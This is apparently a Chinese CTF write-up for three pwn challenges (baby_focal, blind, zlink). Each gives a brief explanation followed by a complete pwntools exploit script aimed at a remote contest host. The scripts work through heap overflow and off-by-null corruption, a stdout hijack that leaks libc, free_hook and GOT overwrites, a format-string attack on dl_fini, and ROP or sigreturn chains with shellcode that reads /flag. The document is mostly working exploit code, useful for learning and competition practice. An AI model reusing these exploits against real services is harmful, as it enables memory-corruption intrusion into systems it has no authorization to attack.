baby_focal
堆溢出，没开pie，没有show,劫持stdout来泄露地址，然后劫持数组指针造成任意地址写原语，开了沙盒，版本是2.31，因此劫持free_hook为控制rbp的gadget来进行栈迁移(不知道为什么tls远程走不通)
爆破1/16
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#__Author__ = Cnitlrt
import sys
import os
from pwn import *
context.log_level = 'debug'
binary = 'baby_focal'
elf = ELF('baby_focal')
libc = elf.libc
context.binary = binary
DEBUG = 0
if DEBUG:
p = process(binary)
#p = process(["qemu-aarch64","-L","",binary])
#p = process(["qemu-aarch64","-L","",-g,"1234",binary])
else:
host = "115.28.187.226"
port = 32435
p = remote(host,port)
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b :p.sendlineafter(str(a),str(b))
sa = lambda a,b :p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ": 0x%x" % data)
se = lambda payload: p.send(payload)
rl = lambda : p.recv()
sl = lambda payload: p.sendline(payload)
ru = lambda a :p.recvuntil(str(a))
sla("name: ","aaaa")
def cmd(idx):
sla(">> ",str(idx))
def add(idx,size):
cmd(1)
sla("index >> ",str(idx))
sla("size >> ",str(size))
def free(idx):
cmd(3)
sla("index >> ",str(idx))
def edit(idx,payload):
cmd(2)
sla("index >> ",str(idx))
sa("content >> ",payload)
for i in range(7):
add(0,0x68)
free(0)
add(1,0x4f0)
add(2,0x18)
add(3,0x68)
free(1)
add(1,0x430)
add(4,0x68)
add(0,0x18)
free(4)
free(3)
edit(2,"a"*0x18+p64(0x71)+p8(0xa0)+'\n')
edit(0,"a"*0x18+p64(0x71)+p16(0x265d)+'\n')
add(3,0x68)
free(1)
add(4,0x60)
# gdb.attach(p)
add(1,0x61)
edit(1,"a"*0x33+p64(0xfbad1887)+p64(0)*3+p8(0)+'\n')
libc_base = l64()-libc.sym["_IO_2_1_stdin_"]
lg("libc_base",libc_base)
payload = "\x00"*0x28+p64(0x21)
payload = payload.ljust(0x48,"\x00")
payload += p64(0x71)
edit(4,payload+'\n')
edit(0,"a"*0x18+p64(0xc1)+'\n')
free(3)
payload = "\x00"*0x28+p64(0x21)
payload = payload.ljust(0x48,"\x00")
payload += p64(0x71)
payload += p64(0x404070)
free(0)
edit(4,payload+'\n')
add(3,0x60)
add(0,0x60)
payload = p64(0x404060)+p64(0x1000)
edit(0,payload+'\n')
addr = 0x1f3580+libc_base
gaget = 0x0000000000157d8a+libc_base
setcontext = libc_base+libc.sym["setcontext"]+61
syscall = 0x0000000000066229+libc_base
free_hook1 = libc_base+libc.sym["__free_hook"]
free_hook1 = free_hook1 & 0xfffffffffffff000
pop_rdi = libc_base+0x0000000000026b72
pop_rsi = libc_base+0x0000000000027529
pop2_rdx = libc_base+0x000000000011c371
pop_rax = libc_base+0x000000000004a550
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = free_hook1
frame.rdx = 0x2000
frame.rsp = free_hook1
frame.rip = syscall
frame = str(frame)
payload = p64(addr-0x58)+p64(0x1000)
payload += p64(0x4040b0)+p64(0x1000)
payload += p64(libc_base+libc.sym["__free_hook"])+p64(0x1000)
payload += p64(setcontext<<0x11)+p64(0)+p64(0)+p64(0x4040b0)
edit(2,payload +'\n')
leaver = 0x0000000000401419
pop_rbp = 0x0000000000032b58+libc_base
payload2 = [
pop_rdi,
0x404100,
pop_rsi,
0,
pop2_rdx,
0,
0,
pop_rax,
2,
syscall,
pop_rdi,
3,
pop_rsi,
free_hook1+0x200,
pop2_rdx,
0x200,
0x200,
pop_rax,
0,
syscall,
pop_rdi,
1,
pop_rsi,
free_hook1+0x200,
pop2_rdx,
0x100,
0x100,
pop_rax,
1,
syscall
]
payload = p64(0x4040b0+0x50)+p64(leaver)+p64(0x4040b0+0x50)+p64(0x4040b0-0x8)
payload += p64(leaver)
payload = payload.ljust(0x48,"a")
payload += p64(0x4040b0)
payload += "/flag\x00\x00\x00"
edit(1,payload+flat(payload2)+'\n')
edit(2,p64(gaget)+'\n')
free(1)
p.interactive()
# edit(1,frame+'\n')
# edit(1,"%11$p-%12$p-%13$p"+'\n')
# ru("0x")
# ru("0x")
# canary = int(ru("-")[:-1],16)
# lg("canary",canary)
# gdb.attach(p)
# payload = p64(0x404090)*2
# payload += '\x00'*0x70+p64(canary)+p64(0)
# edit(0,payload+'\n')
# # sc = shellcraft.open("flag")
# # sc += shellcraft.read("rax",free_hook1+0x200,0x100)
# # sc += shellcraft.write(1,free_hook1+0x200,0x100)
# # p.recv()
# # p.send("4")
# # sleep(0.01)
# # p.sendline(flat(payload).ljust(0x100,"a")+"/flag\x00\x00\x00")
blind
格式化字符串加栈溢出，跟进exit函数发现在dl_fini有一处函数调用
call qword ptr[r12+rdx*8] 其中rdx为0，r12首先通过rax来赋值然后通过add r12 qword ptr[rbx]来取值，可以看到rbx为栈上的值，因此我们可以通过格式化字符串劫持该地址，因为r12被rax赋值之后是bss上面的地址，因此我们只要合理控制好[rbx]就可以直接调用后门函数来栈溢出，可以栈溢出之后直接rop往read的got表里面写，将其劫持为one_gadget即可getshell爆破1/16
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#__Author__ = Cnitlrt
import sys
import os
from pwn import *
context.log_level = 'debug'
binary = 'blind'
elf = ELF('blind')
libc = elf.libc
context.binary = binary
DEBUG = 1
if DEBUG:
p = process(binary)
#p = process(["qemu-aarch64","-L","",binary])
#p = process(["qemu-aarch64","-L","",-g,"1234",binary])
else:
host = "115.28.187.226"
port = 12435
p = remote(host,port)
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b :p.sendlineafter(str(a),str(b))
sa = lambda a,b :p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ": 0x%x" % data)
se = lambda payload: p.send(payload)
rl = lambda : p.recv()
sl = lambda payload: p.sendline(payload)
ru = lambda a :p.recvuntil(str(a))
payload = "%696c%26$hn\x00".ljust(0x10,"\x00")
payload += p64(0x400913)
# payload = p64(0x400913)
p.recv()
# gdb.attach(p,"b *(0x7ffff7de7df9)")
p.send(payload)
leaver = 0x00000000004008ad
poprdi = 0x0000000000400a43
poprsi = 0x0000000000400a41
sleep(0.01)
payload = "a"*0x38+p64(poprdi)+p64(0)+p64(poprsi)+p64(elf.got["read"])*2+p64(elf.plt["read"])*2
p.send(payload)
sleep(0.1)
# attach(p)
p.send(p16(0x5247))
# p.shutdown("in")
p.interactive()
zlink
off by null，由于全局变量的限制，本题相当于没有show，远程版本是2.23,因此劫持stdout泄露地址，然后由于edit的时候会向fre_hook-0x18处写0x7f因此double free劫持free_hook为setcontext 而后orw一把梭
爆破1/16
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#__Author__ = Cnitlrt
import sys
import os
from pwn import *
context.log_level = 'debug'
binary = 'zlink'
elf = ELF('zlink')
libc = elf.libc
context.binary = binary
DEBUG = 0
if DEBUG:
p = process(binary)
#p = process(["qemu-aarch64","-L","",binary])
#p = process(["qemu-aarch64","-L","",-g,"1234",binary])
else:
host = "115.28.187.226"
port = 22435
p = remote(host,port)
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b :p.sendlineafter(str(a),str(b))
sa = lambda a,b :p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ": 0x%x" % data)
se = lambda payload: p.send(payload)
rl = lambda : p.recv()
sl = lambda payload: p.sendline(payload)
ru = lambda a :p.recvuntil(str(a))
def cmd(idx):
sla(":",str(idx))
def add(size,payload,idx):
cmd(1)
sla("Index:",str(idx))
sla("Heap : ",str(size))
sa("tent?:",payload)
def free(idx):
cmd(2)
sla("Index:",str(idx))
def show(idx):
cmd(5)
sla("Index :",str(idx))
def edit(idx,payload):
cmd(6)
sla("Index:",str(idx))
sa("tent?:",payload)
def add2():
cmd(4)
cmd(4)
add(0x60,"aaa",0)
free(15)
add(0x60,'aaaa',1)
free(14)
add(0x20,"aaa",2)
add(0x60,"aaa",3)
add(0x60,"aaa",4)
add(0x60,"aaa",5)
add(0x70,"aaa",6)
add(0x70,"aaa",7)
add(0x70,"aaa",8)
add(0x70,"aaa",9)
add(0x70,"aaa",10)
add(0x30,"aaa",11)
cmd(4)
free(11)
add(0x38,"a",11)
edit(11,"a"*0x30+p64(0x470))
free(14)
free(6)
free(7)
free(8)
free(9)
free(10)
add(0x50,"aaa",6)
add(0x60,p16(0x25dd),7)#1
add(0x60,p16(0x25dd),8)#4
add(0x60,p16(0x25dd),9)#5
"""
0x5555557560a0: 0x0000555555757620 0x0000555555757110
0x5555557560b0: 0x0000555555757010 0x0000555555757040
0x5555557560c0: 0x0000555555757180 0x00005555557571f0
0x5555557560d0: 0x00005555557570b0 0x0000555555757110
0x5555557560e0: 0x0000555555757180 0x00005555557571f0
"""
free(1)
free(4)
free(7)
add(0x60,p8(0xe0),1)
add(0x60,p8(0xe0),4)
add(0x60,p8(0xe0),7)
free(6)
add(0x60,"a"*0x33+p64(0xfbad1887)+p64(0)*3+p8(0),6)
free(2)
add(0x60,"a"*0x33+p64(0xfbad1887)+p64(0)*3+p8(0x88),2)
libc_base = l64()-libc.sym["_IO_2_1_stdin_"]
lg("libc_base",libc_base)
free(1)
free(0)
free(7)
addr = libc_base+libc.sym["setcontext"]
add(0x60,p64(libc_base+libc.sym["__free_hook"]-0x18),1)
add(0x60,p64(libc_base+libc.sym["__free_hook"]-0x18),0)
free_hook = libc.symbols["__free_hook"]+libc_base
free_hook1 = libc.sym["__free_hook"]+libc_base&0xfffffffffffff000
pop_rdi = 0x0000000000021112 + libc_base
pop_rsi = libc_base + 0x00000000000202f8
pop_rdx = libc_base + 0x0000000000001b92
pop_rax = libc_base + 0x000000000003a738
syscall = libc_base + 0x00000000000bc3f5
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = free_hook1
frame.rdx = 0x2000
frame.rsp = free_hook1
frame.rip = syscall
frame = str(frame)
print len(frame)
add(0x60,frame[:0x60],7)
free(4)
add(0x60,frame[0x70:0xd0],4)
free(7)
add(0x68,frame[:0x60],13)
add(0x60,p64(addr+53)*3,12)
free(13)
payload = [
pop_rdi,
free_hook1,
pop_rsi,
0x2000,
pop_rdx,
0x7,
pop_rax,
10,
syscall,
free_hook1+0x70
]
sc = shellcraft.open("/flag")
sc += shellcraft.read("rax",free_hook1+0x200,0x100)
sc += shellcraft.write("1",free_hook1+0x200,0x100)
p.sendline(flat(payload).ljust(0x70,'\x90')+asm(sc))
# gdb.attach(p)
# edit(5,p8(0x00))
p.interactive()
# show(1)
# libc_base = l64()-libc.sym["__malloc_hook"]-0x10-88-0x400
# lg("libc_base",libc_base)
